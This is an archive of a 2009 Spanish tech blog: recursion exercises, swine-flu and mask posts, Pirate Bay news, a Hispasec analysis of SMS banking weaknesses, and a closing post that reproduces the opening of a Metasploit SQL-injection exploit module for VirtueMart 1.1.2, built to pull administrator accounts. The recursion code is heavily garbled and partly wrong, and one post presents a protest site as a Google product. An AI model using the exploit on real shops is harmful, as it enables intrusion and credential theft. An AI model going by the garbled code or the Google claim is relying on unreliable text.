jueves, 30 de abril de 2009

Ejercicios de programación con recursividad y soluciones (codificados)

Recursividad

1.1. Introducción.

El concepto de recursividad va ligado al de repetición. Son recursivos aquellos algoritmos que, estando encapsulados dentro de una función, son llamados desde ella misma una y otra vez, en contraposición a los algoritmos iterativos, que hacen uso de bucles while, do-while, for, etc.

1.2. Definición.

Algo es recursivo si se define en términos de sí mismo (cuando para definirse hace mención a sí mismo). Para que una definición recursiva sea válida, la referencia a sí misma debe ser relativamente más sencilla que el caso considerado.
1.3. Elementos de la Recursión

1.3. 1. Axioma

Es un caso donde el problema puede resolverse sin tener que hacer uso de una nueva llamada a sí mismo. Evita la continuación indefinida de las partes recursivas.

1.3.2. Formula recursiva

Relaciona el resultado del algoritmo con resultados de casos más simples. Se hacen nuevas llamadas a la función, pero están más próximas al caso base.
Por ejemplo: El factorial de un número

factorial(0) -> 1
factorial(1) -> 1*factorial(0)
factorial(2) -> 2*factorial(1)
factorial(3) -> 3*factorial (2)
… -> …
factorial(N) -> 3*factorial (N-1)

En la resolución de algoritmos recursivos es imprescindible encontrar estos dos elementos.

1.4. Tipos de recursión

1.4.1. Recursividad simple

Aquella en cuya definición sólo aparece una llamada recursiva. Se puede transformar con facilidad en algoritmos iterativos.

1.4.2. Recursividad múltiple
Se da cuando hay más de una llamada a sí misma dentro del cuerpo de la función, resultando más difícil de hacer de forma iterativa. Un ejemplo típico es la función de fibonacci

1.4.3. Recursividad anidada
En algunos de los argumentos de la llamada recursiva hay una nueva llamada a sí misma. La función de Ackermann se define por recursividad como sigue:

1.4.4. Recursividad cruzada o indirecta
Son algoritmos donde una función provoca una llamada a sí misma de forma indirecta, a través de otras funciones.

Planteamiento:

Ejercicio 1. Programar un algoritmo recursivo que calcule el factorial de un número.

Solución:

Código

----
int factorial(int n){
if(n==0) return 1; //AXIOMA
else return n*factorial(n-1); //FORMULA RECURSIVA
}
----
Planteamiento:

Ejercicio 2. Programar un algoritmo recursivo que calcule un número de la serie fibonacci.

Solución:

Código
----
int fibonaci(int n){
if(n==1 || n==2) return 1;
else return fibonaci(n-1)+fibonaci(n-2);
}
----
Planteamiento:

Ejercicio 3. Programar un algoritmo recursivo que permita hacer la división por restas sucesivas.

Solución:

Código
----
int division (int a, int b)
{
if(b > a) return 0;
else
return division(a-b, b) + 1;
}
----
Planteamiento:

Ejercicio 4. Programar un algoritmo recursivo que permita invertir un número. Ejemplo: Entrada: 123 Salida: 321

Solución:

Código
----
int invertir (int n)
{
if (n < n ="=" a="=" n ="=" tam ="=" b="=">0) return true;
else return negativo(n);
}

public boolean negativo(int n){
if(n<0) n="=" n="=" fila ="=" col ="=" fila ="=" col ="=" fila ="=" a="0," aux="1," b="0;" matriz =" new"> matriz.length -1){ //Si llegó a la ultima coluna, reseteamos los datos para la siguiente
i++;
j=0;
aux++;
}
if(i = (aux-1)){ //comprueba que estemos en el lugar adecuado, es decir ira imprimiento escaladamente
if(i==0)// si es la primera fila ingresamos aux=1
matriz[i][j] = matriz[i][j]=aux;
else
matriz[i][j] = matriz[i][i-1]*2;//ingresamos el valor correspondiente al ultimo de la "escala" *2
llenarMatriz(matriz, i , j+1);
}
else{ //si no, asignamos los valores anteriores de la escala
if(j==0)// comprobamos si es el primer digito a ingresar
matriz[i][j] = j+1;
else
matriz[i][j] = matriz[i-1][j];// asignamos el mismo numero de la fila anterior (i-1)
llenarMatriz(matriz, i, j+1);
}
}
}

public static void imprimir(){ //este metodo nos imprime la matriz por consola

for(int i=0; i< j="0;" c ="=" colmedio ="=" colmedio ="=" n ="="> x [n]) return x [0];
else return menor;
else
if (menor > x [n]) return menorvec (x, n - 1, x [n]);
else return menorvec (x, n - 1, menor); }
----
Planteamiento:

Ejercicio 17. Programar un algoritmo recursivo que muestre el numero mayor de un vector.

Solución:

Código
----
int mayor (int numeros [], int posicion) {
int aux;
if (posicion == 0) return numeros [posicion];
else {
aux = mayor (numeros, posicion - 1);
if (numeros [posicion] > aux) return numeros [posicion];
else return mayor (numeros, posicion - 1);
}
}
----

Autor: ·ohk·
http://foro.elhacker.net/ejercicios/ejercicios_recursivos_en_java_y_sus_soluciones-t231013.0.html

Agrego este material ya que permite ejemplificar claramente la recursividad y ahorrar código al programar, saludos.

martes, 28 de abril de 2009

¿Cómo hacer un cubreboca (tapaboca)?



México, 28 Abr 09 (EL UNIVERSAL).- La tela de los cubrebocas no necesita esterilidad, por tratarse de un artículo de uso externo, según afirmó el cirujano y urgenciólogo del Instituto Mexicano del Seguro Social (IMSS), Mario Alberto Juárez Millán.

Es importante vigilar la tersura del material y las reacciones que provoca en la piel, pues incluso los cubrebocas industriales (en forma de concha), que son los más recomendados para afrentar la contingencia sanitaria, ya han despertado muchas reacciones adversas en los usuarios.

Lo importante es el grueso del material, por lo que la franela es una buena opción, o bien, telas como la comercialmente llamada "magitel" con al menos un doblez.

Materiales
-Tela
-Resorte
-Tijeras
-Aguja
-Hilo
-Regla

Pasos
-Recortar la tela en rectángulos de 40 por 16 centímetros
-Recortar el resorte en dos tramos de 25 y 20 centímetros
-Doblar la tela por la mitad, para que quede un rectángulo grueso de 20 por 16.
-Coser las esquinas de la tela con los extremos de resorte
-Coser los pliegues de la tela para que se ajuste al rostro


ROTATIVO de Querétaro

Via Rotativo

lunes, 27 de abril de 2009

Google apoya a "The Pirate Bay" con "The Pirate Google"


Su intención es mostrar la doble moral de la ley sueca.

Google acaba de abrir un portal bajo el nombre de “The Pirate Google” con el anagrama de los “piratas suecos” y una bandera de colores que simboliza a los cinco continentes. En este portal cualquier usuario encontrará todo lo que desee descargar totalmente gratis, cualquier contenido de Internet.

El objetivo de página es solidarizarse con “The Pirate Bay” y descubrir la doble moral que han demostrado los jueces al condenarlos a un mes de cárcel y a pagar una indemnización de 2,7 millones de euros a las empresas demandantes, es la prueba de que tal y como afirmó el abogado defensor del cuarteto “no se pueden poner barreras al aire ni intentar reducir las nuevas tecnologías”.

Las mayores críticas en la condena final durante el juicio B1330-06, internacionalmente famoso, en el que se acusó a Pirate Bay de haber facilitado el robo de la propiedad intelectual de varias multinacionales, fueron dirigidas al sistema técnico que proporcionaba ese portal.

Como informó el diario ABC de España, la jugada maestra de los responsables de Google, que afirmaron que su intención era descubrir la “doble moral” de la ley sueca, ha puesto en pie de guerra a los detractores de la piratería por la Red.

Anders Rydell, autor de la obra “The Pirate Bay: los piratas que robaron a Hollywood”, se declara vencido y comprende que no hay nada que hacer contra Google: “Atacar a Google, seria absolutamente absurdo”.

Así las cosas, hasta que el Tribunal Supremo no decida si Tomas Nordström, el juez que condenó a los cuatro autores de “The pirate Bay”, era o no parcial (todo hace suponer que sí lo era ya que pertenecía a varias asociaciones que defienden los derechos de autor), ese portal hoy prohibido, que acaba de encontrar en Google a un poderoso padrino para su causa, sigue creciendo.

Pasó los 20 millones de visitas durante el año 2008, visitas que ha doblado en lo que va del 2009.

La sentencia, y la recién dictada Ley Ipred, han tenido otros efectos. Diecinueve de 28 portales conocidos han cerrado. El motivo es que han recibido una carta de los activistas anti-piratas en la que les recuerdan la sentencia de prisión y la fuerte suma de indemnización que el cuarteto responsable del Pirate Bay deberá pagar. Un método “mafioso” según muchos.

http://thepirategoogle.com/

http://thepiratebay.org/



Influenza Porcina o Gripe Porcina

Con mascarillas sale la gente en Ciudad de México para evitar contagiarse de la gripe porcina.



















La gripe porcina o influenza porcina es una enfermedad infecciosa causada por un virus perteneciente a la familia Orthomyxoviridae y que afecta fundamentalmente a poblaciones porcinas. Estas cepas virales son conocidas como virus de la influenza porcina o SIV, por las siglas en inglés de Swine Influenza Viruses, aunque esta distinción no está basada en filogenia. Las cepas de SIV detectadas hasta la fecha han sido clasificadas como parte del género Influenzavirus C o alguno de los subtipos del género Influenzavirus A.[1]


Los subtipos del virus Influenza A más comúnmente encontrados como causantes de infecciones de SIV son H1N1, H1N2, H3N1 y H3N2,[2] [3] aunque se ha encontrado recientemente que el H2N3 también produce este tipo de patología.[4]

En el mundo circulan 3 subtipos de virus de influenza A (H1N1, H3N2, y H1N2), conocidos por infectar cerdos. En los Estados Unidos, el subtipo clásico H1N1 era casi exclusivamente prevalente entre las poblaciones porcinas antes de 1998; sin embargo, desde agosto de 1998 se aislaron también subtipos H3N2. Se ha encontrado que la mayor parte de los virus H3N2 tienen material recombinado con linajes de genes de virus que atacan humanos (HA, NA, and PB1), cerdos (NS, NP, and M) y aves (PB2 and PA).

Sintomatología

Los animales pasan por un cuadro respiratorio caracterizado por tos y frecuencia respiratoria elevada, estornudos, temperatura basal elevada, descargas nasales, letargia, dificultades respiratorias (frecuencia de respiración elevada además de respiración bucal) y apetito reducido. La excreción nasal del virus puede aparecer aproximadamente a las 24 horas de la infección. Las tasas de morbilidad son altas y pueden llegar al 100 por ciento, aunque la mortalidad es bastante baja y la mayoría de cerdos se recuperan tras unos 5 o 7 días tras la aparición de los síntomas.[5] La transmisión de la enfermedad se realiza por contacto a través de secreciones que contengan el virus (a través de la tos o el estornudo, así como por las descargas nasales).

La gripe porcina infecta a muchas personas cada año, y se encuentra típicamente en aquellos que han estado en contacto con cerdos de forma ocupacional, aunque también puede producirse transmisión persona-a-persona.[6] Los síntomas en seres humanos incluyen: fiebre, desorientación, rigidez en las articulaciones, vómitos y pérdida de la conciencia y muchas veces puede terminar en la muerte.[7]

Vacunación porcina

Las estrategias de vacunación para el control y prevención de SIV en granjas porcinas incluyen típicamente el uso de 1 de muchas vacunas contra SIV bivalentes disponibles comercialmente en los Estados Unidos. De 97 cepas aisladas recientemente de H3N2, sólo 41 tenían fuertes reacciones serológicas cruzadas con antisuero a 3 de las vacunas comerciales contra SIV. Ya que la capacidad protectora de las vacunas de influenza dependen principalmente de la cercanía y similaridad entre el virus de la vacuna y el virus que causa la epidemia, la presencia de variantes no reactivas de H3N2 SIV sugiere que las vacunas comerciales actuales podrían no proteger efectivamente a los cerdos de infecciones por una gran mayoría de virus H3N2.[8]

Virus H5N1

El virus de la gripe aviaria H3N2 es endémico para poblaciones de cerdos en China y se ha detectado también en Vietnam, aumentando las preocupaciones sobre la emergencia de nuevas cepas variantes. Se ha encontrado que los cerdos pueden ser portadores de virus de influenza aviaria y de humanos, los cuales pueden combinarse (p.ej., intercambio de genoma homólogo mediante reordenación genética de sub-unidades) con el virusH5N1, haciendo un traspaso de genes y mutando en una nueva forma que podría transmitirse fácilmente entre humanos.[9]

En agosto de 2004, investigadores chinos hallaron la cepa H5N1 en cerdos.[10] En el 2005 se descubrió que el H5N1 podría infectar hasta la mitad de la población porcina en algunas áreas de Indonesia, aunque sin causar sintomatología.[cita requerida] Chairul Nidom, virólogo del centro de enfermedades tropicales en la Universidad Airlangga enSurabaya, Java Oriental, condujo una investigación independiente; se analizó la sangre de 10 cerdos aparentemente saludables y que se encontraban en granjas porcinas cercanas a Java Occidental donde la gripe aviaria había causado estragos. Cinco de las muestras contenían el virus H5N1. Diversos estudios clínicos realizados por el gobierno de Indonesia han encontrado resultados similares en la región. Pruebas adicionales hechas en 150 porcinos fuera de esa área mostraron ser negativos.[11] [12]


Historia


Pandemia de 1918
Artículo principal: Gripe española

En la primavera de 1918, un virus de gripe aviaria mutó a una variante humana bastante severa causando una pandemia en tan sólo pocos meses. Se creía originalmente que la cepa evolucionó de una mezcla de virus de influenza porcina (al que los humanos son más susceptibles) y de influenza aviar, con las dos cepas combinándose en un cerdo infectado por ambas al mismo tiempo. En análisis posteriores en muestras de tejidos recuperados de ese año revelaron que se trataba de la mutación de un virus de gripe aviaria y no hubo tal combinación con virus de gripe porcina.

Brote de 1976 en EE.UU.

El 5 de febrero de 1976, un soldado recluta en Fort Dix manifestó sentirse agotado y débil. Murió al día siguiente y cuatro de sus compañeros tuvieron que ser hospitalizados. Dos semanas luego de su muerte, se anunció por parte de autoridades de salud que la causa de muerte fue debida a un virus de gripe porcina y que esa cepa específica parecía estar estrechamente relacionada con la cepa involucrada en la pandemia de gripe de 1918. El departamento de salud pública decidió tomar medidas para evitar otra pandemia de iguales proporciones, y se le notificó al presidente Gerald Ford que debía hacer que cada ciudadano de los EE.UU. estuviera vacunado contra la enfermedad. Aunque el programa de vacunación estuvo plagado de problemas de relaciones públicas y todo tipo de retrasos, se vacunó aproximadamente un 24% de la población hasta el momento de su cancelación.[13]

Se estima en cerca de 500 casos la aparición de síndrome de Guillain-Barré, causados probablemente por una reacción inmunopatológica a la vacuna y de los cuales 25 terminaron en muerte por complicaciones pulmonares severas.[13] Hasta la fecha, no se han encontrado otras vacunas de influenza vinculadas al síndrome de Guillain-Barré.[14]

Brote de 2007 en Filipinas

El 20 de agosto de 2007, se investigó la aparición de gripe porcina en la región de Nueva Ecija y Luzon Central en Filipinas. Se encuentra una tasa de mortalidad menor al 10% para la gripe, si no habían complicaciones como peste porcina. El 27 de julio de 2007, el departamento Nacional de Inspección de Carnes (National Meat Inspection Service o NMIS) de Filipinas, lanzó una "alerta roja" para peste porcina en Metro Manila y otras 5 regiones de Luzon luego de que se dispersara la enfermedad a granjas de cerdos en Bulacan y Pampanga, aún cuando las muestras de los animales se reportaban como negativas para virus de gripe porcina.[15] [16]


Brote de 2009 por H1N1


En abril de 2009 se detectó un brote de gripe porcina[17] en humanos, en México, que causó más de 20 muertes.[18] [19] El 24 de abril de 2009 el gobierno de la ciudad de México y el del Estado de México cerraron temporalmente -con el respaldo de la Secretaría de Educación Pública- las escuelas, desde el nivel pre-escolar hasta el universitario, a fin de evitar que la enfermedad se extienda a un área mayor.

Hasta el momento se desconocen tanto el virus mutante que provocó la aparición de esta enfermedad en los seres humanos, como la vacuna contra la misma.[20]

Hasta el 24 de abril de 2009, se conoce que existen casos confimados en humanos en los estados de San Luis Potosí, Hidalgo, Querétaro y Distrito Federal. En el municipio de Zumpahuacán del Estado de México se han reportado casos, algunos de los cuales han sido caso fatales.[21] También se reportaron casos en Texas y en California, en los Estados Unidos.[22


Según expertos, como el jefe del Departamento de microbiología del Hospital Mount Sinai de Toronto, el Doctor Donald Low, está por confirmarse la relación entre el virus de la influenza porcina H1N1 y el de los casos confirmados en México.[23]


Se ha recomendado a la población extremar precauciones de higiene: no saludar de beso ni de mano, evitar lugares concurridos (metro, auditorios, escuelas, iglesias, etc.), usar tapabocas, y lavarse las manos constantemente con detergente o desinfectante como hipoclorito de sodio o alcohol. En caso de presentar síntomas de gripe o temperatura elevada, acudir a un hospital lo antes posible. En oficinas, call centers y cibercafés se recomienda limpiar teclados y ratones con alcohol para desinfectar y evitar una posible propagación del virus.


La Secretaría de Salud (México) ha emitido una alerta por el brote en su sitio web.


Se sabe que el virus causante de la gripe porcina no se transmite consumiendo carne de cerdo probablemente infectada, ya que el virus no resiste altas temperaturas como las empleadas para cocinar alimentos.[24]



http://es.wikipedia.org/wiki/Gripe_porcina











¿QUÉ ES LA INFLUENZA?
Enfermedad de las vías respiratorias causada por un virus extremadamente contagioso, existen tres tipos diferentes de virus (A, B, C) los cuales pueden mutar (cambiar), y existen varios subtipos. Es importante por que afecta a todas las edades, y en mutaciones importantes del virus suele causar complicaciones graves e incluso la muerte en un gran número de personas, frecuentemente niños y ancianos.

¿ES LO MISMO EL RESFRIADO COMÚN QUE LA INFLUENZA?
No; aunque ambas son enfermedades respiratorias agudas y tienen síntomas comunes, el microrganismo que causa la Influenza es diferente al que causa el resfriado o gripe común.

¿CÓMO SE CONTAGIA LA INFLUENZA?
De persona a persona a través de las secreciones de nariz y boca (toser, estornudar, hablar, cantar) o por contacto directo (las manos, cuando el enfermo no se las lava, los besos). Es muy contagiosa (3-7 días una vez que inician los síntomas) y de mayor riesgo cuando ocurre en lugares cerrados (estancias, guarderías infantiles, escuelas, asilos, albergues, entre otros). Se estima que ante una epidemia esta podría recorrer el mundo en un periodo de 3 a 6 meses.

¿CUÁLES SON LOS SIGNOS O SÍNTOMAS PARA SOSPECHAR DE INFLUENZA?

* Fiebre mayor de 38° C.
* Tos frecuente e intensa.
* Dolor de cabeza.
* Falta de apetito.
* Congestionamiento nasal.
* Malestar general.


¿CÓMO SE REALIZA EL DIAGNÓSTICO DE INFLUENZA?
Es necesario que un médico lo estudie para realizar un examen clínico detallado e investigue antecedentes de otros enfermos, contactos y viajes. El diagnóstico se realiza mediante la identificación del virus en secreciones de nariz o laringe (aislamiento viral) durante las primeras 24-72 horas de iniciada la enfermedad, o mediante el estudio de sangre para identificar anticuerpos.

¿LA INFLUENZA SE PUEDE COMPLICAR?
Sí, un cuadro de influenza no tratado adecuadamente o asociado a otra enfermedad no controlada puede generar complicaciones, principalmente respiratorias (otitis, sinusitis, rinitis, neumonía, bronconeumonía, laringitis obstructiva), cardíacas o incluso la muerte, esto se observa frecuentemente cuando ocurren grandes brotes o epidemias. Es necesario vigilar a los niños ya que si reciben tratamiento con ácido acetilsalicílico pueden presentar encefalitis.

¿EXISTE TRATAMIENTO PARA LA INFLUENZA?
La influenza es causada por un virus, para los cuales no existe tratamiento, sin embargo hay medicamentos que hacen la enfermedad más soportable, la acorta y disminuye los síntomas, siempre y cuando se administren durante las primeras 48 horas de la enfermedad. Los medicamentos son de uso delicado, sólo el médico está capacitado para determinar si deben administrase a un paciente, ya que no están exentos de efectos secundarios.

¿CÓMO SE PUEDE PREVENIR LA INFLUENZA?
Existe una vacuna que se ha referido como la mejor forma de prevenir la Influenza, ésta se prepara cada año considerando los tipos de virus circulantes en el mundo, es bien tolerada pero no debe aplicarse a personas con alergia a las proteínas del huevo, con antecedente de reacción grave a la vacuna o que hubiera padecido Síndrome de Guillain-Barré (seis semanas antes de la vacunación).

RECOMENDACIONES A LA POBLACIÓN EN GENERAL

* Mantenerse alejados de las personas que tengan infección respiratoria.
* No saludar de beso ni de mano.
* No compartir alimentos, vasos o cubiertos.
* Ventilar y permitir la entrada de sol en la casa, las oficinas y en todos los lugares cerrados.
* Mantener limpias las cubiertas de cocina y baño, manijas y barandales, así como juguetes, teléfonos u objetos de uso común.
En caso de presentar un cuadro de fiebre alta de manera repentina, tos, dolor de cabeza, muscular y de articulaciones, se deberá de acudir de inmediato a su médico o a su unidad de salud.
* Abrigarse y evitar cambios bruscos de temperatura.
* Comer frutas y verduras ricas en vitaminas A y C (zanahoria, papaya, guayaba, naranja, mandarina, lima, limón y piña).
* Lavarse las manos frecuentemente con agua y jabón.
* Evitar exposición a contaminantes ambientales.
* No fumar en lugares cerrados ni cerca de niños, ancianos o enfermos.
* Acudir al médico inmediatamente si se presentan los síntomas.


¿QUÉ MEDIDAS SE RECOMIENDAN PARA LOS ENFERMOS DE INFLUENZA?

* Permanecer en casa, evite acudir a centros de trabajo, escuelas o lugares donde exista concentración de personas (teatros, cines, bares, autobuses, metro, discotecas, fiestas, etc). Esto evitará que otros se infecten a través de usted.
* Cúbrase boca y nariz con un pañuelo al hablar, toser, estornudar. Esto evitará que las personas a su alrededor se enfermen.
* Evite tocarse ojos, boca y nariz ya que el virus se disemina cuando una persona toca algún objeto contaminado y luego se toca los ojos, boca o nariz.
* La influenza se puede prevenir mediante la aplicación de una vacuna que se prepara según el tipo de virus circulante en el mundo), es necesario vacunarse cada año.
* Evite el polvo, humo del tabaco y otras sustancias que pueden interferir con la respiración y que hace a los niños más propensos a enfermarse.
* Utilizar cubrebocas, tirar el pañuelo desechable en una bolsa de plástico y estornudar sobre el ángulo interno del codo.
* Una vez transcurridas 24 horas sin ningún síntoma, se puede regresar a las labores habituales.



Última modificación:
Viernes 24 de Abril de 2009 a las 13:15 por Dulce Buenrostro.

http://portal.salud.gob.mx/contenidos/noticias/influenza/alerta_influenza.html


Descargar recomendaciones de la secretaria de salud para prevenir el contagio

Descargar documento acerca de la Influenza estacional







Suena en internet 'La cumbia de la Influenza'
Ponen un toque de humor al tema del virus de la influenza

viernes, 24 de abril de 2009

Compra a los mejores precios - Aprovecha laptops desde un peso






Memorias Flash USB
Monitores LCD
Impresoras
Discos duros
Memorias RAM para PC y LAPTOP
Tarjetas de Red Inalámbrica
Ruteadores, switches, concentradores

Aprovecha los excelentes precios en:




¿celulares antiguos por 25000 euros para phishing avanzado? Creemos que no

Se habla en los medios de que los malos están pagando hasta 25.000 euros por un modelo antiguo de móvil Nokia muy concreto, que apenas vale ya 30. La razón es que dicen que contiene un error que permitiría interceptar los SMS, y poder así eludir la seguridad de los bancos que utilizan este método para validar transacciones. Hay que tomar con mucha precaución esta información, porque puede que no sea del todo cierta. Es más, según lo implementan algunos bancos, ni siquiera es necesario ningún móvil "mágico" para "interceptar" los SMS, ya tienen otro talón de Aquiles mucho más sencillo de aprovechar.

Los precedentes

Al parecer Frank Engelsman, de Ultrascan Advanced Global Investigations, observó que se había llegado a pagar 25.000 euros por un Nokia 1100 (un modelo de 2003) y que la demanda del terminal iba en aumento. Observaron que se apostaba sobre todo por un modelo hecho en una fábrica de Bochum, en Alemania.

Al parecer, aunque no hay datos técnicos suficientes sobre el problema, el software del teléfono (de 2002) tiene un fallo de seguridad que permite manipularlo. Es posible que hayan conseguido, gracias a la vulnerabilidad, interceptar de alguna forma los SMS de cualquier número. Con esto, podrían eludir la seguridad de la banca online que se sirve de mensajes cortos a los móviles para validar por completo una transacción.

En los últimos tiempos, y a la sombra del malware bancario, las entidades han apostado poco a poco por una autenticación de doble canal. Esto es, validar a la persona por un canal (la pantalla del ordenador) y la transacción en sí por otro (normalmente a través de un SMS con un código). Partiendo de la base de que uno de los canales no es nada confiable gracias a la proliferación de troyanos, se busca un canal todavía no demasiado contaminado que valide la transacción. En el texto del mensaje se incluyen normalmente las últimas cifras de la cuenta destino para que el usuario no tenga dudas de en qué momento y hacia dónde se desplaza su dinero. Si han conseguido lo que se rumorea, sería como disponer del "token" de autenticación de cualquiera.

El escenario sería el siguiente. Para que los atacantes puedan llevar a cabo este ataque, deben conocer de antemano las contraseñas "habituales" que le autentican ante la banca online. Ya sea mediante phishing o troyanizando el sistema, deben poder al menos ordenar una transacción. Lamentablemente, esta no es la parte más compleja del asunto. Los troyanos bancarios del momento son muy buenos realizando este robo sigiloso de contraseñas, incluso si el banco se protege con tarjetas de coordenadas. Los atacantes deberían entonces ordenar una transacción a sus propias cuentas, interceptar el SMS y confirmarla, eludiendo así uno de los métodos de autenticación de banca online que se suponen más seguros hasta el momento.

Las hipótesis

Pero en realidad, al no ofrecer datos técnicos que apoyen esta hipótesis, surgen dudas. No hay certeza de que el engaño esté basado en la posibilidad de clonar la tarjeta o hacer que una SIM se comporte como otra cualquiera. En cualquier caso, si fuese posible, estaríamos quizás ante una "condición de carrera" para saber dónde va la información realmente cuando dos teléfonos iguales están registrados.

Se dice que son bandas del Este y marroquíes las que están intentando obtener por todos los medios este modelo. Aunque se rumoree que se pueden usar para "phishing avanzado", en realidad, no se sabe con qué intención. La posibilidad de interceptar las contraseñas de un solo uso enviadas por SMS es sólo una hipótesis para argumentar los elevados precios que parece que se están pagando por estos terminales. Quizás, simplemente han encontrado alguna forma de realizar llamadas ilimitadas sin pagar, impedir ser localizados, o cualquier otra ventaja para quien opera al margen de la ley.

25.000 euros... ¿para qué?

Lo curioso, es que según lo tienen implementado algunos bancos (no todos), el hecho de añadir una autenticación de segundo canal (SMS) no aporta seguridad "a prueba de troyanos". Si a través del portal online se puede acceder al perfil del usuario (como es el caso de determinados bancos), solo sería necesario cambiar el número de móvil al del atacante. Esta modificación está protegida, y el sistema suele pedir coordenadas de la tarjeta para completar el cambio. Pero se supone que el atacante ya ha conseguido esas coordenadas por cualquier método. De hecho ese es el motivo de añadir una segunda contraseña a través de móvil, proteger al usuario en el caso de que alguien le haya robado su tarjeta de coordenadas. ¿Para qué querría interceptar los mensajes entonces?: un atacante inicia sesión como si se tratase de la víctima porque ha conseguido algunas o todas las coordenadas de la tarjeta con otros métodos. Como tiene las coordenadas suficientes, consigue cambiar el número de móvil. Al ordenar transacciones a sus cuentas, el mensaje de confirmación con la clave llegará al móvil del atacante. ¿Por qué pagar 25.000 euros por otros métodos más exóticos que podrían conseguir un resultado similar? La banca online que utilice estos métodos débiles, debería disponer de procedimientos mucho más rigurosos para asociar un número de móvil con un cliente si quieren que la validación de transacción por SMS aporte protección contra los troyanos bancarios.

Más Información:

Criminals pay top money for hackable Nokia phone
http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9131822

Via Hispasec, Sergio de los Santos, 24-04-2009, 10.56 am

martes, 21 de abril de 2009

ThePirateBay sigue funcionando, los proveedores de servicios se niegan a suspender el servicio sin una orden judicial

La medida ejemplar de la justicia sueca contra el sitio The Pirate Bay sigue dando que hablar. Los proveedores de servicios de Internet (ISP, en sus siglas en inglés) del país se niegan a cerrar los servidores del portal, que no hace otra cosa que aumentar sus afiliados. Además, el Partido Pirata gana adeptos y podría conseguir algún escaño en las próximas elecciones al Parlamento Europeo.


Los internautas han mostrado su apoyo a The Pirate Bay y ahora los proveedores de Internet siguen la misma línea. El portal está vivo a pesar de la sentencia que condena a sus gestores, quienes han presentado un recurso. Por su parte, la Federación Internacional de la Industria Fonográfica (IFPI) está solicitando a los proveedores de Internet que cierren los servidores del portal. Sin embargo, éstos se niegan.

Quizá en parte defendiendo las libertades de los usuarios, quizá porque The Pirate Bay ha seguido aumentando sus usuarios durante el proceso y tras la sentencia (Minutos después de que se conociera el fallo, 10.000 millones de archivos estaban siendo descargados). La cuestión es que las ISPs de Suecia no están dispuestas a echar el cerrojo virtual y cortar los servicios que ofrecen al portal que facilita el intercambio de descargas.

Según ha declarado el director del operador Bahnhofs, Jon Karlung, al diario local Svenska Dagbladet, la decisión judicial no ha cambiado nada para ellos. “No censuraremos sitios a nuestros clientes; no es nuestro trabajo. Estoy contra todo lo que contradiga el principio de una Internet gratuita y abierta”, ha defendido.

Asimismo, según el testimonio del abogado que representa al proveedor Telia Sonera, Patrik Hiselius, recogido por el portal on-line sueco en inglés The Local del Svenska Dagbladet, los IPSs no están incumpliendo la ley.

“En parte, no es una decisión que haya que cumplir desde un punto de vista legal pero, aparte de eso, se trata de un juicio contra ‘The Pirate Bay’ y no afecta a ningún proveedor de servicios”. “No tomaremos ninguna acción (para bloquear) los contenidos si no se nos solicita que lo hagamos”, a sostenido Hiselius.

Los suecos salieron a la calle para defender a The Pirate Bay cuando se conoció la sentencia judicial, que ha sido recurrida ante el Tribunal Superior sueco. Más de 1.000 personas salieron a las calles de Estocolmo para mostrarse en contra de la sentencia que condena a un año de prisión a los gestores del portal.

La situación está teniendo su reflejo en el electorado, ya que según un sondeo que recoge Muy Computer, el apoyo al Partido Pirata de Suecia están aumentando y actualmente uno de cada cinco suecos aseguran que votarán a la formación en las próximas elecciones al Parlamento Europeo.


Via Noticiasdot

domingo, 19 de abril de 2009

Aumenta tu tráfico web con publicidad gratis para tu sitio web, blog o flog



Con txtfull.com puedes obtener clientes de una forma totalmente gratuita y muy fácil de utilizar, sólo basta con registrarse en el sitio y agregar el código html en tu web, blog o flog. Lo recomiendo ampliamente.

viernes, 17 de abril de 2009

Carcel para los administradores de "The Pirate Bay"

Los administradores del tracker de bittorrent más importante del mundo son condenados un año de cárcel, según informa el diario elpais.

Tras el retiro de casi la mitad de los cargos por parte de las compañías Universal, EMI y Sony BMG los inculpados esperaban el retiro de la totalidad de los cargos, sin embargo esto no ha sucedido así.

El tribunal ha fijado daños hasta de 9.1 millones de euros, sin embargo recordemos que The Pirate Bay no almacena ningún material con copyright, sólo aloja los archivos necesarios para la interconexión de los nodos de la red de pares.

El cargo porque se les acusa a los administradores es la asistencia a la violación de derechos de autor.

Via elpais

jueves, 9 de abril de 2009

Google revela su secreto de productividad



Una filosofía que ha permitido a Google reducir costes de adquisición y mantenimiento, ya que los recambios son relativamente baratos.

Cada uno de sus servidores emplea placas base Gigabyte, un par de micros X86, indistintamente Intel o AMD, dos discos duros, ocho ranuras de memoria.

También incorpora una batería de 12 voltios, y un SAI individual por servidor, lo que les permite una mayor eficiencia energética (según Google un 99,9%).

Cada servidor ocupan un par de unidades en un rack, y cada 1160 de estos servidores se almacenan en un contenedor de transporte, conteniendo cada centro de datos cientos de ellos.

http://news.cnet.com/8301-1001_3-10209580-92.html

viernes, 3 de abril de 2009

BitDefender crea una herramienta de eliminacion del virus Conficker o Downadup

El dia 1 de abril de 2009 se tenia programada la activacion de una de las variantes del Virus Conficker o Downadup el cual tiene la capacidad de crear botnets o redes de computadoras "Zombis" las cuales pueden recibir instrucciones de parte de los creadores del virus con la capacidad de realizar ataques de denegacion de servicio en masa o envio masivo de spam.

Muchos expertos han considerado a Conficker como uno de los virus mas desastrosos de los ultimos diez años.

La empresa de seguridad informatica BitDefender ha creado una herramienta de eliminacion del gusano Conficker.



Descargar herramienta de desinfeccion del virus

jueves, 2 de abril de 2009

VirtueMart <= 1.1.2 Remote SQL Injection Exploit (meta)

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'VirtueMart <= 1.1.2 Sql Injection Exploit',
'Description' => %q{
This module exploits VirtueMart <= 1.1.2 Blind Sql Injection vulnerability.
},
'Author' => 'Janek Vind "waraxe" ',
'License' => MSF_LICENSE,
'Version' => '1.0',
'References' =>
[
['BID', '33480'],
['URL', 'http://www.waraxe.us/advisory-71.html'],
['URL', 'http://secunia.com/advisories/33671/']
],
'DisclosureDate' => 'Jan 24 2009'))

register_options(
[
OptString.new('URI', [false, 'Path to VirtueMart', '']),
OptInt.new('TARGETID', [false, 'Target ID (optional)']),
OptString.new('PREFIX', [false, 'Database table prefix (optional)', 'jos_']),
OptBool.new('ALLSA', [ false, 'Fetch all Super Admins', true]),
OptBool.new('ALLA', [ false, 'Fetch all Admins', false]),
OptBool.new('ALLM', [ false, 'Fetch all Managers', false]),
], self.class)

end

def run

@marker = 'name="addtocart"'
@target_uri = '/' + datastore['URI'] + '/'
@target_uri = @target_uri.gsub(/\/{2,}/, '/')
